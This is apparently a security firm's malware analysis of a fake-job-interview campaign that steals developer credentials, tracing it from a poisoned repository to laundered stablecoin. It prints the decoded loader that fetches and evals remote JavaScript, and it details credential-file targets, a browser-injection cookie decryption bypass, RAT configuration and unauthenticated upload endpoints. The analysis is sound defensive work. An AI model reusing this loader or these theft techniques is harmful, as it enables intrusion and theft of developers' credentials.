#hunting-lazarus

Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials (Technical Record)

The forged VS Code manifest, the TRON-to-BSC payload resolver and its five-step decode, the App-Bound Encryption bypass, the NetSupport kit, a gateway that obeys any server, 1.28 TB across two unauthenticated stores, and the five claims this analysis withdrew together with the control tests that killed them.

Red Asgard
November 13, 2026
lazarusdprkaptthreat-intelligencecontagious-interviewnorth-koreadev-poppernetsupportapp-bound-encryptionblockchain-dead-dropmalware-analysisreverse-engineeringsigmayara

The accessible version of this article is DEV#POPPER Returns, Stealing Browser Credentials.

A command-and-control server answers a plain HTTP GET with a package.json claiming to be a Microsoft Python extension for VS Code.


GET http://138.226.247.154/session/8f3d559759e67132 returns 286,820 bytes over plain HTTP, no authentication, no session, no referrer check.

It is not a config blob. It is a complete, valid npm manifest.

name            vscode-python-envs
displayName     Python Environments
version         1.30.0
publisher       ms-python
homepage        github.com/microsoft/vscode-python-environments
main            ./dist/extension.js
enableTelemetry true

It carries capabilities, contributes, scripts, twenty-two devDependencies, eight dependencies, and a __metadata block with an installed timestamp, a targetPlatform of win32-x64, and a size field. Everything an editor extension manifest has, in the order an editor extension manifest has it.

The implant is in a field called sessions. 254,323 bytes of JavaScript.

That indirection is the whole design. Everything upstream of this document has used the phrase "staging directory" for ~/.vs_cache and never explained why the name has vs in it. Now it does. The implant is dressed as a VS Code extension, so the directory it lives in, the manifest that describes it, and the deploy response that delivers it all read as an editor extension install.

Both our session token and a prior token from independent reporting (8ea0e4ef65dd189c) return this same manifest. The disguise is not per-target content. It is the response.


1. What this record covers

One campaign, observed 2026-11-08 to 2026-11-13. The chain is complete and each link was recovered as an artefact: a poisoned coding assessment, an HTTP loader, a blockchain payload resolver, a 161 KB stage-three implant, a commercial remote-access kit, a gateway, two exfiltration servers, and a route to a held dollar balance.

Every figure below comes from an artefact that was captured, decoded, or called. Where a conclusion is inference rather than observation it is marked. Where an earlier version of this analysis was wrong it is corrected in place and again in section 13.

The accessible companion piece is Article A, Part X: DEV#POPPER Returns, Stealing Browser Credentials. It is for the developer who may receive this lure next week. This document is for the analyst who has to reproduce the analysis and the defender who has to run the detections, and it does not repeat that article's argument.

Standing rule for everything that follows: the adversary is the subject. Where a sentence begins with what the investigation did, it has been rewritten to begin with what they do.


2. Who they target, and why you say yes

They approach contract developers on a hiring platform with a job that exists.

The account that made contact on 10 November at 09:01 read Edmar Casasola, Metallicus. It had a job posted, a company name, a Notion task page, and a written scope. The pitch at 09:26 named the stack the repository would use: Ethereum on the chain, React and TypeScript on the front end, Node and MongoDB behind it, real estate and watches and jewellery as the asset categories. The repository matched it. He wrote the pitch and the code to fit each other, and both to fit the candidate.

At 10:54 he asked for a GitHub username so that he could send an invitation to the test project. The author supplied one at 10:59. At 11:38 the task page arrived.

The population is remote developers and freelancers applying for work. In this corpus's own observed traffic the concentration is South Asian, which is a fact about who was approached rather than a claim about who is reachable. The structural point is narrower and more useful: the lure is a job offer to someone whose declining it costs them income. That is the lever. Nothing else in this campaign is as efficient.

The task page does the rest. It states a pass criterion (POST /api/assets returns 401 for guests), a scope restriction (do not change Solidity or Hardhat), an evaluation method, and three commands:

cp example.env .env
npm install
npm run dev

One of those commands is the intrusion. See section 4.

They ask for a five to ten minute Loom recording of the clone and the environment setup before the task starts. That request is the one part of the process that has no legitimate purpose, and section 4 explains what it buys them. In the author's case the recording was never made.

The page required three deliverables: a repository link with the completed source, the Loom, and a short written summary of the architecture reasoning. The first is the infection, the second is the survey, and the third costs the candidate nothing to produce. Three ordinary things, asked for in the ordinary order, which is why the whole transaction reads as work.

The remaining social-engineering facts, all verified against the captured conversation: the persona operates under a fuller name (Edmar Casasola), the organisation named on the account is metallicus-io, the task platform is Notion, and the instruction to copy the code into the candidate's own GitHub repository is deliberate. Section 4.


3. How they get the first execution

The repository carries a build configuration file. Near the bottom, line 147:

plugins: [require("tailwindcss-animate"), require("./public/logo.svg")]

A Tailwind configuration loads plugins. It has no reason to load an image.

public/logo.svg is not an SVG. It is JavaScript:

eval(atob('Y29uc3T7c3Bhd259PXJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS...'))

The mechanism is one require() of a non-JavaScript asset from a build config. Node resolves it, reads it as a module, and the eval runs. No build step is needed, no test suite executes, and there is no binary for the candidate to click and no double extension for a mail gateway to catch.

It fires on npm run dev. It does not fire on npm install. That distinction is operationally important and it was confirmed by detonation in an isolated environment: install completes silently, and the loader runs roughly two seconds into the dev server start. A defender who checks whether a candidate installed the project learns nothing. A defender who checks whether they started it learns everything.

The modification is confined to two objects: the build configuration, and the file it loads. That is the claim, and it is the only claim. An earlier version of this analysis described two artefacts, a clean package and a poisoned repository, differing in exactly two files. That framing is withdrawn. The author downloaded the archive himself and handed it to analysis; the operator never sent an archive, so there was never an operator-supplied clean copy to compare against. The clean copy fetched for comparison was the author's own sourcing, which is a method, not an adversary behaviour.

Why the candidate is told to copy the code into their own repository. They are invited to somebody else's private assessment repository, they cannot push to it, and copying it into their own account is what any developer would do. So the loader lands in the victim's account, under the victim's name, in the victim's commit history. Three consequences, all intended. Anyone who clones or forks that repository gets the same loader. The victim's own commit history becomes where detection looks. And the "I downloaded something suspicious" defence is gone, because they were asked to make it their own work and did.

The repository is private and it was live at the time of the correction, verified with git ls-remote:

18e3b3b0a02bc52df856d918beecfed7f60cd0a7    HEAD
18e3b3b0a02bc52df856d918beecfed7f60cd0a7    refs/heads/main

An anonymous request receives a 404 because the repository is private, and a 404 from a private repository means nothing. A reader who concludes from that 404 that the repository has been removed will skip the containment step of revoking access.

Commits on it: 18e3b3b dated 2026-11-09 and e67a450 dated 2026-11-08. The commit author is Artem <[email protected]>, a placeholder address that will never resolve.

What the Loom request buys them. The recording is requested before the test begins, and it is requested as a demonstration of the clone, the environment setup, and the approach. They get a survey of the target machine, on camera, with the target's cooperation, before any code has run. For a candidate who made the recording, the operator knows what they are about to be inside. It is also, incidentally, a working hiring filter, which is what makes refusing it socially expensive.


4. How they stage the second stage

The decoded logo.svg payload is 363 bytes:

const{spawn}=require("child_process");
const code=`try{eval("require('axios').get('https://db-connectors.vercel.app/server/v2',
  {headers:{bearrtoken:'dbheader'}}).then(r=>{try{eval(r.data.cookie)}catch(e){}}).catch(e=>{})}catch(e){}`
const child=spawn(process.execPath,["-e",code],{stdio:"ignore",detached:true});
child.unref();

Four decisions in thirty lines of work.

It detaches. detached:true with stdio:"ignore" and unref() means the child survives the parent and produces no console output. The candidate closes the dev server and the loader keeps running. There is nothing on screen to notice.

It fetches over ordinary HTTP. One GET to a Vercel-hosted function. bearrtoken: dbheader is a header name and a value, not a credential; nothing is authenticated. The response was 32,166 bytes with x-powered-by: Express.

It takes JavaScript out of a JSON field named cookie. Not a cookie. A field called cookie carrying JavaScript, which is then passed to eval in memory. This is the naming convention of an operation that expects to be read by a sandbox or a proxy and wants a first-level check to pass.

It never touches disk. Stage two arrives as a string in memory and is evaluated. There is no file to find.

What lands on disk is stage three's staging area, ~/.vs_cache/, containing main.js, main.vbs, package.json and loader.log. On Windows the launch is wscript.exe running a VBS that builds its quoting with Chr(34), a technique for surviving being written into a script file by another script.

At runtime it installs its own dependencies: axios, better-sqlite3, node-machine-id, socket.io-client, and on Windows @primno/dpapi for DPAPI decryption and koffi 3.1.2 for FFI. That dependency list is itself a detection surface, because koffi (raw FFI) and @primno/dpapi (Windows credential decryption) do not co-occur in ordinary Node work.


5. How they serve the payload without owning a server

The next stage is not on a server. It is in blockchain transactions, and the implant reads it.

The resolver, as decoded:

GET https://api.trongrid.io/v1/accounts/TYvH1r8.../transactions?only_confirmed=true&limit=1
  header TRON-PRO-API-KEY: 0abf12...468c
M = data[0].raw_data.data
M = M[half:] + M[:half]              // swap the halves
G = '0x' + hexToUtf8(M)              // -> a BSC transaction hash
BSC eth_getTransactionByHash([G])    // bsc-dataseed.binance.org, bsc-rpc.publicnode.com
decode: reverse -> XOR(uuid key) -> 'BCGZ1|' -> base64 -> gunzip -> new Function(...)()

Read that as a chain of five moves and it becomes simple. Ask a public TRON endpoint for the newest transaction on one address. Take its data field. Swap the two halves. Read the result as hexadecimal, which yields a transaction hash on BNB Smart Chain. Fetch that transaction from a public BSC node. Then unwind the payload: reverse the bytes, XOR against a key embedded in the same file, check for the marker, base64-decode, gunzip, execute.

The envelopes are real and they all decode. Four TRON transactions carry a raw_data.data field that resolves onward:

TRON txBSC txBSC blockPayload (hex)
c846aad5c225bc02…5a3881546e9c85cd…1206357806,622
ec77f2b7aeb23213…4c6b9eee4cb3340…1204462793,094
aac37a57e9f6e395…aa2e6440d65870d5…1197263412,638
191bf3c3916ae762…925e643c2cd36807…119698403132,758

All four BSC transactions were sent from 0xc24971414291ac130a8c758c96dc574da017b5a9 to 0x…dEaD, the burn address. Recovered payload sizes, all gunzip-verified: 3,015, 4,760, 161,942 and 2,397 bytes.

Reproducing the decode. Four inputs are needed and all four are in the artefacts: the TRON address, an API key for the endpoint the implant itself uses, the XOR key from stage three, and the marker. With those, the ladder is deterministic. The half-swap is the step that goes wrong first, because a reader who skips it gets a hex string that is valid UTF-8 and decodes to nonsense. The BCGZ1| marker is the check that the order is right. Gunzip succeeding is the second check.

Two facts, and one limit.

The chain is the pointer, not the host. The payload server is ordinary infrastructure. The chain answers one question: where the current payload is today. It is a resolution step, which is why the operator can move the payload without registering a domain.

A rotated pointer cannot be un-published. The operator writes a new transaction when they want to change the payload, and the previous transactions stay readable forever. That is poor operational security and it is how the campaign was walked backwards. It also means the archive is a timeline: the on-chain history shows what was served when.

The limit: there is no on-chain command channel. This document does not claim one, and neither should any derivative of it. Two findings published during this work described a "beacon" tasking implants on a schedule through token transfers of 900 units and 4,444,444,444 units, at an 11.3-hour cadence to 22 implants, and a second beacon tasking 306 targets. Both were withdrawn. Decoding the carrier token metadata killed them: token 1005212 is named SaveGasfeeOnZapzeeIO with the abbreviation TG@zapzee and a description advertising https://zapzee.io, and token 1005193 is named gas.bi with a URL at https://trx.bi/. Both are commercial TRON energy services. The "taskings" are their promotional airdrop lists, and the beacon_taskings.json artefact is an airdrop recipient list, not an implant roster.

What survives from that thread is funding topology and money movement, which is section 11. What does not survive is any claim that the chain issues commands.


6. How they build the client

The chain serves a stub. The server serves current, and the version split is the reason anyone analysing only the blockchain is looking at a two-month-old build.

On-chainTeam server
Version1.5.21.6.27
Size161,942 B254,323 B
SHA-25678ef4f03…5dff1771d10845cc06c6e501d9f3e4359ebe60bcf6a0d3699d8ed41abab24857
Present in any of the 18 on-chain buildsn/ano

That hash appears in none of the eighteen builds recovered from the chain. The implication is structural: the chain bootstraps, and the server serves the current build where it can be updated without a transaction.

The command surface, first, because it is the part that has been mis-stated. The implant's operator capability is exec, dir, read_file, upload, env, imp, pat, cd, client_data, exec_result, with file_content responses and nineteen ss_* SSH commands including ssh_status, sshPassword and sshKeyPath.

An earlier account of this campaign, this analyst's own, described the socket.io keylogger agent as "the C2 protocol". That was wrong in a way worth stating plainly: the reader of that account would have concluded the operator had keystroke logging and clipboard capture, when the operator in fact had a full shell, file transfer, SSH pivoting and bulk exfiltration. Section 12 covers the process failure. Here, the correction: the keylogger is a secondary module, served from /download-win-key, and the backdoor is the 161 KB payload the chain delivers.

What they collect. The exfiltration globs are *.env*, *.pem, *.ppk, *.p12, *.pfx, *metamask*, *bitcoin*, *btc*, *solana*, plus the literal strings secret phrase and private key, plus .bash_history and .zsh_history. Browser targets are Chrome, Edge, Opera, Brave and Yandex, taking Cookies, Login Data, Local State and Web Data. Firefox adds key4.db, logins.json, _vs_ffkey_ and extractFirefoxProfile:cookies/forms/places. Tor Browser is targeted by name. Browser extension data is targeted separately through browser-extension-data, chrome-extension_, ext_src_ and ext: prefixes, which is where browser wallet material lives.

Persistence is not only a Run key: the string table carries schtasks, launchctl, --uninstall, a PID lockfile, and pkill/pgrep/taskkill. Victim IP lookup goes to ip-api.com/json/ and freeipapi.com/api/json, with https://ipwho.is/ added in this build.

App-Bound Encryption

This is the capability jump and it is why a victim whose only exposure was "a dev server ran once" now faces session theft rather than password theft.

Chrome introduced App-Bound Encryption in version 127 specifically to stop cookie theft. The design assumption is that a stealer running as the user cannot decrypt cookie material even with DPAPI, because decryption requires the browser's own elevation service. The standard responses are to prompt the user for elevation, or to inject into the browser process and make the call as the browser. This implant does the second, silently.

The mechanism, recovered from 1.6.27:

GET /download-abe-payload              -> 9,728-byte PE32+ DLL
if (blob.slice(0,4).toString("ascii") !== "APPN") return {error:"bad_appb_prefix"}

chrome  clsid 708860E0-F641-4611-8895-7D867DD3675B  iid 1BF5208B-295F-4992-B5F4-3A9BB6494838
edge    clsid 1FCBE96C-1697-43AF-9140-2897C7C69767  iid C9C2B807-7731-4F34-81B7-44FF7779522B
brave   clsid 576B31AF-6369-4B6B-8560-E4B203A97A8B  iid 1BF5208B-295F-4992-B5F4-3A9BB6494838

VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread -> LoadLibrary
driven by a generated PowerShell script using Add-Type / C#

chrome.exe --no-startup-window --no-first-run --disable-extensions about:blank
read decrypted key back -> 32 bytes

The injector is a bespoke, previously undocumented component:

size      9,728 bytes
sha256    47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce
format    PE32+ x86-64 DLL, 3 sections, stripped (external PDB)
imports   ole32, oleaut32, kernel32, user32
contains  CLSID 463ABECF-410D-407F-8AF5-0DF35A005CC8, string "ABE_CLSID"

Nine kilobytes, COM-driven, existing for one purpose: to call the browser's elevation service from inside the process.

The error strings are the strongest evidence that this is fielded rather than prototyped, because they are the strings you write after the thing has failed on real machines: abe_inject_no_key, abe_inject_browser_exe_missing, abe_inject_unsupported_browser, ielevator_caller_denied, ielevator_cocreate_failed, bad_appb_prefix, decrypted_empty_master.

Container detection. The build carries __docker_session_ok__ and docker_session across thirty references. The implant checks whether it is running in a container and behaves differently. A naive detonation in Docker will not produce the behaviour the analyst is looking for, and may produce a false negative that reads as a clean sample.

What this means for remediation, stated once. A stolen cookie is a live authenticated session. Changing a password does not end it. The action that ends it is session invalidation, which on most services means an explicit sign-out-everywhere rather than a password change, and on services without that action means waiting out the expiry while the session remains usable by whoever holds it. Any incident response to this implant that rotates passwords and stops there has left the operator logged in.

Other capability worth one line each. Chrome DevTools Protocol abuse (cdp_port_closed). Autofill harvesting (autofill, autofill_profiles, autofill_profiles2). Download, history and web-data extraction (extractChromiumDownloads, extractChromiumHistory, extractChromiumWebData). A backup-process mode gated on VS_BACKUP_CHILD. A heartbeat, client:ping with a storageKey, every sixty seconds. Auto-start installation logged as Auto-start installed.

The endpoint map

138.226.247.154 serves the campaign's current tooling over plain HTTP GET, which is how the malware itself fetches it:

EndpointResultContent
/session/<16-hex>200forged VS Code manifest + sessions payload
/download-main/204200 · 8,602 Bstage-three blockchain loader
/download-client/204200 · 254,393 Bcurrent client build
/download-client-portable200 · 2,298,289 BNetSupport RAT kit
/download-win-key200 · 90,570 Bwin_key_agent keylogger
/download-abe-payload200 · 9,728 BABE injector DLL
/download-app404pruned
/api/clients401 / 403bearer-authenticated client roster
/deploy-manifest.json404self-update disabled

/api/clients is almost certainly the client roster and the token is not in any artefact held. It is the single most valuable remaining item, because it would answer the victim-count question definitively.

Self-update is currently off server-side, which matters: the self-update path exists (ss_upd, _force_bootstrap.js, main.js.pending) but /deploy-manifest.json returns 404. If it is re-enabled, every existing victim upgrades to an ABE-capable build.

Where these hosts live

db-connectors.vercel.app     Vercel serverless        stage one
138.226.247.154:80/443       AS43641 Sollutium, NL    loader, RAT kit, ABE payload
94.249.185.106:443           AS206996 ZAP-Hosting     current C2, and a data store
147.189.169.26:3011          AS206996 ZAP-Hosting     backup C2, and a data store
185.248.161.18:443           AS199701 SeedVPS, NL     NetSupport gateway

Two of those command hosts sit on one provider. 94.249.185.106 resolves to green-horse-42739.zap.cloud and the backup to blue-eagle-26751.zap.cloud. Two independent command hosts on a single hosting provider, under that naming pattern, is a procurement decision rather than a coincidence. It also gives a pivot the operator probably did not intend: a reverse-DNS sweep of that provider's space for sibling hosts.

The gateway is a name-only front. chainmanamgentagency.info resolves to 185.248.161.18 and the name itself returns a 403 from a default Apache, so there is no site behind it. A defender who checks the domain finds nothing and moves on.

The build cadence

Eighteen distinct builds were recovered from the chain history, and every one is re-obfuscated. Hash-based detection therefore fails by design: a hash match only ever identifies a build that has already been seen. The chain history is more useful as a timeline than as an indicator set, because it shows the cadence at which the payload was rebuilt and roughly how long each build was served.

The same capacity pressure that is visible on the storage tier in section 9 shows up in the rotation: new hosts appear as the old ones fill. That is provisioning, not evasion.

One external corroboration

The prior session token 8ea0e4ef65dd189c appears in third-party reporting at 100% confidence, dated 2026-10-10. It returns the same forged manifest as the token issued on 10 November. That dates this deploy endpoint to at least a month before this observation, and shows the disguise has been stable across it.


7. How they hold the machine

The kit is signed NetSupport Manager, an ordinary commercial product sold for legitimate remote support. That is not an incidental detail; it is why file-based detection is the wrong answer here. There is nothing custom to hash in the RAT itself. What is custom is the configuration and the deployment.

The portable kit is 2,298,289 bytes (sha256 39abfd47…) and contains Service.exe, remcmdstub.exe, NSM.LIC, nskbfltr.inf, PCICL32.DLL, HTCTL32.DLL, TCCTL32.DLL, PCICHEK.DLL, pcicapi.dll, AudioCapture.dll, msvcr100.dll, cksini.exe, client32.ini, deploy-to-target.cmd and patch-ini-filename.ps1. AudioCapture.dll is the microphone.

The configuration file is small and complete:

GatewayAddress = chainmanamgentagency.info
Port           = 443
GSK            = <gskmode=0 value, withheld>
RoomSpec       = Eval
silent=1  SysTray=0  AlwaysOnTop=1  DisableClientConnect=1  DisableDisconnect=1

RoomSpec = Eval is worth noticing. DisableDisconnect=1 means the user cannot close the session. SysTray=0 means there is no icon to notice.

The deployment sequence, from their own script:

target : %LOCALAPPDATA%\Microsoft\Windows\SettingSync\Caches\
         {8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}\Win32\ResCache\
copy   : payload\*  +  client32.ini
patch  : patch-ini-filename.ps1   (rewrites Filename= to the real path)
fix    : cksini.exe client32.ini  (regenerates the checksum)
persist: ResCache.vbs  +  HKCU\Software\Microsoft\Windows\CurrentVersion\Run
         SettingSyncResCache = wscript.exe "<ResCache>\ResCache.vbs"
launch : Service.exe

cksini.exe is their own tooling in the sense that they ship it, and it exists because the client refuses to load a configuration whose checksum does not match. Editing client32.ini without running it produces File ... has an invalid checksum (0x82). That refusal is a small gift to the analyst, because it means the client cannot be repointed by hand without the operator's own utility, and the utility is in the kit.

The staging directory is deleted afterwards. What remains is the ResCache path and the Run value.

The path is the detection. Nothing legitimate writes a VBS launcher into SettingSync\Caches\{GUID}\Win32\ResCache. Microsoft's sync components do not do that. The GUID, the Win32\ResCache suffix and the .vbs extension together are a stronger signal than any hash, because they survive the operator replacing the binaries.

The masquerading names in the payload are platform-specific: Microsoft Realtime Agreegator on Windows, with the misspelling intact, AppleAccountSync on macOS, and unixkernalloader on Linux. The misspelling is not a tell the operator cares about. It is a string a user would have to read carefully to question, and the operator's position is that they will not.


8. How they command it

The command channel runs HTTP. It took a wrong turn to establish that, and the wrong turn is instructive enough to keep.

For a day, every probe against the gateway failed. The conclusion reached was that the gateway spoke a binary protocol, and a frame format was reconstructed: a big-endian 32-bit total length, the same value XOR 0x5d2104af, then payload. A tag vocabulary was recovered to go with it. None of it was real.

The gateway speaks HTTP with bare \n line endings. No carriage returns. A conforming HTTP parser discards the CRLF-less request and resets the socket, which is exactly what happened to every probe that formatted the request correctly. The reconstruction was describing PCICL32.DLL's internal buffer encoding between the client's own components, one layer below the wire.

The recovered request, and it is recovered rather than inferred because the same strings are in HTCTL32.DLL:

POST http://<gw>/<any-uri>.htm HTTP/1.1\n
User-Agent: NetSupport Manager/1.3\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: {n}\n
Host: <gw>\n
Connection: Keep-Alive\n
\n
<newline-separated key=value body>

Why hand-written HTTP: HTCTL32.DLL has no WININET and no CryptoAPI in its import table. Its transport is WSOCK32 with twenty-six socket imports. There is no HTTP stack and no OS crypto provider, so the request is formatted strings written to a socket and any encryption is implemented in the DLL itself. A static search of .text for RC4 key scheduling, AES S-box constants, the TEA delta, or MD5/SHA tables finds none of them.

Two details from the binary that must be copied exactly:

Content-Length: nnnnn is a fixed-width placeholder. The builder writes the header at a constant offset and patches digits in place, so the header length never changes. A shim that emits a compact Content-Length produces a request the client's own parser dislikes.

The base64 alphabet at 0x101fa228 is ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(). It is identical to standard except the last two characters are ( and ) instead of + and /. A standard decoder will reject or silently mis-decode these blobs. It is a cheap, deliberate evasion against generic base64 handling.

The registration

CMD=OPEN
CLIENT_VERSION=1.0
PROTOCOL_VER=1.1
MAXPACKET=928
CLIENT_NAME=WIN11
CLIENT_ADDR=><gw>
PORT=5405
HOSTNAME=win11
MACADDRESS=525400E117AE
GSK=<derived value, withheld>
APPTYPE=0
DEPT=

RESULT=0 comes back in CMD=OPEN_REPLY with SERVER_VERSION=1.92 and CMPI=60. RESULT=-1 carries FAILED_REASON=7. APPTYPE values that are even register; odd values are refused. No value exposed a control or administrative role, which is role enforcement on the server side.

Polling is CMD=POLL, INFO=1, ACK=1, which returns either nothing or:

CMD=ENCD
ES=1
DATA=<encrypted binary>

ENCD is identical on every poll. It is a standing room-wide directive, not a queue, which means the whole room is being told the same thing at all times.

The weakness

The GSK in client32.ini is stored reversibly under gskmode=0. The client derives a second value from it and transmits that derived value in clear on every registration.

That is one infected config file away from being a gateway administrator credential, and it authenticated from a different host, a different MAC and a different client name, with no challenge. This is the practical realisation of CVE-2025-34180, except the exposure is worse than the CVE text describes: the derived value crosses the wire in cleartext on every single registration. NetSupport 12.01 also falls inside the applicable ranges for CVE-2025-34179 and CVE-2025-34181.

What that access yields is narrower than it sounds. It authenticates, it registers as a client in the room, and it receives the outbound command channel. It does not send commands to other clients, does not list clients, and does not reach the operator's control session. The victim roster is served on the control channel, which the operator does not ship to clients.

The structural finding

The client does not authenticate the server.

A gateway was built in the isolated VM. It answered OPEN with a synthetic OPEN_REPLY carrying RESULT=0, and delivered the captured 49-byte ENCD on every poll. The client accepted it and replied:

[15:54:39] == connection 1 from 127.0.0.1:63301
[15:54:39]    REQ: CMD=POLL|INFO=1|ACK=1|
[15:54:39]    >> delivering ENCD 49b
[15:54:39]    REQ: CMD=ENCD|ES=1|DATA=<267 bytes, encrypted>

Two conclusions. First, there is no certificate, no challenge and no server-side proof; anyone who can answer on the configured address can drive every client in that room. Second, the client decrypted the operator's command and acted on it, then returned a 267-byte encrypted reply. The reply is 5.4 times the size of the command, consistent with a status or content report rather than an acknowledgement.

What remains encrypted. ES=1 resisted RC4 with the GSK and the config GSK and truncated keys; XOR against the same; AES and DES in ECB with GSK-, MD5- and SHA-derived keys; and zlib, raw deflate, gzip, bz2 and lzma. The captured blobs are 49 and 267 bytes with 44 and 256 distinct byte values, which is consistent with a stream cipher rather than Base64 text. It is a bespoke scheme inside HTCTL32.DLL, and static recovery is blocked. The practical route is the live client as a decryption oracle: break at the ENCD dispatch (0x101c2920) and dump the buffer after the call that follows.

That work was not completed. This document does not claim it was.


9. What they take

Two servers, both holding stolen data, both answering status requests without authentication.

GET /health on 147.189.169.26:3011 returns full operational telemetry to anyone:

{
  "ok": true,
  "uptime": 716.1,
  "backupsDir": "C:\\FileZ\\backups",
  "disk": { "totalBytes": 536748208128, "usedBytes": 330210729984, "percentUsed": 61.5 },
  "uploads": { "activeGlobal": 2, "rejected": 601, "maxGlobal": 16, "maxPerClient": 4 }
}

POST /upload writes victim data and needs no credentials:

POST /upload
  X-Username: <name>        (or X-Machine-ID)
  X-File-Path: <relative path>
  X-File-Size: <bytes>
  body: raw file bytes
-> 200 "OK"

The write primitive works. POST /upload returns OK and /status then reports the folder it created. Path handling sanitises ../../ into .._.._ and does not decode %2f, so there is no traversal through X-Username or X-File-Path on the tested paths. /status requires the headers and validates neither.

The measured rate. Two /health reads roughly three minutes apart:

Metrict0t1Delta
usedBytes330,170,859,520330,210,729,984+37.9 MB
rejected209601+392

37.9 MB in three minutes is about 12 MB per minute at that moment. The 392 rejected uploads in the same window, against maxGlobal: 16 and maxPerClient: 4, mean the service is rate-limiting hard and demand exceeds capacity. Burst behaviour dominates, so no single short window predicts a day; the defensible statement is the window and the caveat together.

The second server is larger. 94.249.185.106:443 is the same service class, a different build, and much bigger:

backupsDir  C:\Filezilla\backups        ("Filezilla", against "FileZ" on .26)
totalBytes  1073619120128
usedBytes   874718339072
percentUsed 81.5
uploads     activeGlobal 4, rejected 420, maxGlobal 16, maxPerClient 4

Combined:

HostPathUsedCapacityFill
147.189.169.26:3011C:\FileZ\backups332.6 GB536.7 GB62.0%
94.249.185.106:443C:\Filezilla\backups948.0 GB1.07 TB88.3%
total1.28 TB

Both are live, both accept unauthenticated uploads, both report uploads in flight. Between 2026-11-12T06:35Z and 2026-11-13T22:31Z the pair grew 74.8 GB, of which 73.2 GB landed on the larger server and 1.6 GB on the smaller one. That is 45 GB per day measured across 40 hours, against 182.5 GB of headroom on the larger server and 204 GB on the smaller.

One protocol detail that has caused mis-reporting: 94.249.185.106 answers with chunked transfer encoding (19d\r\n{...}\r\n0\r\n) and only to properly framed HTTP/1.1. Plain curl at the root times out, which is why this host was earlier described as a raw or WebSocket service. It is ordinary HTTP with Connection: close semantics that curl handled badly. POST /upload returns 404 here, so its upload route differs from .26.

The operational reading is capacity, not evasion. Two servers, slightly different directory names, both near full, both shedding hundreds of uploads a minute. They are collecting faster than they can store, and the VM rotation visible on-chain is provisioning pressure rather than a hunt for better cover. The file tier never stopped; only the NetSupport gateway went down.

Concentration. Both data stores sit on ZAP-Hosting with sequential order identifiers, which is one abuse desk to notify. The gateway's fronting name resolves to a 403 from a default Apache, so it is a name-only front rather than a hijacked legitimate site. That defeats domain-name detection in both directions: a defender either does not flag the name, or checks it, finds a 403, and moves on.

What /status gives up. Folder naming. That is all it exposes, and it is enough to prove the service organises what it receives by account. The figure worth watching is /health growth over time, because that is the one number that measures the operation instead of the symptom.


10. Where it goes

The chain evidence that survived the retractions of this epoch is funding topology and money movement. That is enough to trace a route from a compromised desktop to a held dollar balance.

The topology.

TNrWrhQLBUCJYW79VKcAHhGH4FWBZtXitN   433,494 TRX   major hub
TWjHoMZ6SXhYWCistSRv8ChUfQ2fUbjQXc    33,421 TRX   relay / collector
TVewvAwcY16MzEFtUtSn2wZAURwH1WxWyA     2,657 TRX   distributor
TPudUo3eskSnubeXEauJqd46aCkuNnsWgo         0 TRX   pass-through
TB1pNBTuLwdc66S6ZTRfdPdUbQHiLWNF5H         0 TRX   pass-through

The distributor fans out in equal splits inside one block:

11-12 07:58  e94c2c -> 2d4608   30,374,810
11-12 07:58  e94c2c -> 87a1cd   30,374,820
11-12 07:58  e94c2c -> 672692   30,374,820
11-12 07:58  e94c2c -> c7ebfc   30,374,811

The roughly 10-SUN spread between them is transaction-fee variation. Four near-identical transfers in the same block, sized to targets, is programmatic distribution rather than organic movement.

Scale. The treasury TRaTQNfvb… sent 820,709 TRX to 221 addresses in nine days. One downstream hub holds 433,494 TRX. The single largest inflow observed was 124,101 TRX on 11-12 at 06:53. Treasury turnover alone is in the region of $250,000 at $0.30 per TRX. These are not the numbers of a remote-access crew monetising a handful of desktops.

The funding chain predates the malware window. The fleet wallet TCeiLNTWE783… was created 2025-10-31 and paid the loader address TYvH1r8… 5,000,000 SUN on 2026-09-03 and 10,000,000 SUN on 2026-09-15, and paid three other addresses 10,000,000 SUN each inside a two-minute window on 09-15. Pre-rotation sender pointers extend the campaign's observable start to 2026-09-02, two months before the lure that produced this record.

The conversion step. TDFjuTLHe6xHV4ZbCQyL97eHrY2iYhk5xo receives TRX from upstream nodes and immediately swaps to USDT through an aggregator, holding almost no TRX between swaps:

Time (UTC)TRX inUSDT outImplied rate
03:4811,7003,709.62993.1540
06:333,108986.20783.1514
07:454,5411,439.23723.1551
10:02:45not recorded4,463.16consistent

The rate is consistent to three decimals across six hours. Those four swaps delivered 10,598.24 USDT, and the address has not stopped converting: its balance reached 24,987.818367 USDT by a balanceOf constant call on 2026-11-13T22:27Z. The swaps after the window recorded here are not enumerated in this record, only their cumulative result.

The call shape is TriggerSmartContract to TQqgNg13s2DjvXhW1ky4v6TsR8wZGvb7Y4, selector 0x3593564c, with 1,608 to 3,016 bytes of calldata. The variable length and the size indicate an aggregator splitting across pools rather than a simple router. The address itself retains about 27 TRX; value passes through and is never stored there.

The held balance.

TDFjuTLHe6xHV4ZbCQyL97eHrY2iYhk5xo
    USDT balance: 24,987.818367   (verified by balanceOf constant call, 2026-11-13T22:27Z)
    TRX  balance: 27.122

Every swap output is still there. Twenty-five thousand in, zero out. This is an accumulation point, not a pass-through, and it is the one figure in this investigation that an issuer can act on, for three reasons. It is denominated in a dollar stablecoin, so its value does not move with TRX. It has a single issuer with a documented freeze mechanism and precedent. And it receives directly from the campaign treasury: the payment at 07:09:48 of 4,542.189 TRX from TRaTQNfvb… to this address is a single hop.

The provable chain, every arrow an observed transaction:

victim desktop
   | NetSupport RAT session
implant address
   | collected funds
TWjHoMZ6… (relay)
   | ~4,000 TRX chunks
TVewvAwc… (distributor)
TRaTQNfvb… (treasury)     820,709 TRX out to 221 addresses
   | 4,542.189 TRX, single hop
TDFjuTLH…  ->  aggregator swap  ->  24,987.82 USDT (HELD)

The caveat that must stay. Equal-split fan-out is also what payment processors and exchange withdrawal batching look like, so the professional layer downstream of the treasury may be this crew's own infrastructure or a laundering service they use. The chain does not separate the two. A crew selling stolen crypto to a launderer would see exactly this shape downstream of its own wallets.

